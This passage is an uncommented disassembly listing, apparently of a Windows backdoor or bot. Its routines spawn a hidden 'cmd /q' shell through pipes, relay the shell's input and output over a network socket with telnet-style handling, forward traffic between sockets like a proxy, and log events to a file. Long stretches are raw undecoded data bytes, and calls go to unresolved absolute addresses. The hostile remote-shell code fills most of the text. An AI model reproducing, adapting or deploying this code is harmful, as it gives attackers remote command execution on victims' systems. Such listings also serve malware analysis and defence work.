		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2660BFCh
		nop
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		nop
		call	near ptr 26608E1h
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_434B6C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434BAC
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		call	near ptr 2780000h
		nop
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E59Ch,	50EC458Dh, 8015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 0ECD6E890h, 4D8B0226h, 34C969C8h, 3B000002h,	0A48189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0FB79E890h
		dd 0EDEB0225h, 0F5DCE890h, 8D500226h, 0FFFD2C85h, 4C1C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 0E8905659h, 22CEC30h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E59Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
		dd 0FFFF9FC7h, 0ADE85359h, 90022CEBh, 30858D53h, 68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB66C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6EC15h, 875FF00h,	0FF9F96E8h, 0E85359FFh,	22CEB7Ch
		dd 30BD8090h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
		dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0E5E89053h, 6A022CEAh, 0E8458D10h, 69E85053h, 660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 4DE89053h,	8D022CEAh
		dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
		dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 0E9DEE890h, 68022Ch, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B6A415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
		dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h
		dd 0FF022CE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 69E89053h
		db 0E9h, 2Ch, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB540
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB540
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	225F6DBh
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0E7CAE853h, 8D90022Ch,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E59CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 14E89000h, 0FF0225F6h
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0F5E1E890h, 8D530225h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
		dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF9AF6E8h, 1CC483FFh, 0E6DAE853h, 8B90022Ch, 9F39087Dh
		dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
		dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
		dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
		dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
		dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h,	8300009Eh
		dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
		dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
		dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434D6Ch
		dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
		dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22CE404h, 3E868h
		dd 0C0E89000h, 570225F2h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2780112h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 26709BBh
		lea	eax, [ebp-114h]
		push	offset asc_43554C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_42911C
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43551C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0F015FFF8h
		dd 0BB004CB5h, 200h, 0E890086Ah, 225F16Fh, 0B5D815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
		dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
		dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 2CE02BE8h
		db 2, 90h
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 55E89056h, 8B022CDFh, 106AD045h, 234C069h, 0B8890000h
		dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6ECh, 0E8D075FFh,	0FFFF92EBh, 0E8905659h,	22CDED0h
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
		dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 0DE4EE856h, 5390022Ch, 4355A8BBh,	0FFFFBF00h
		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
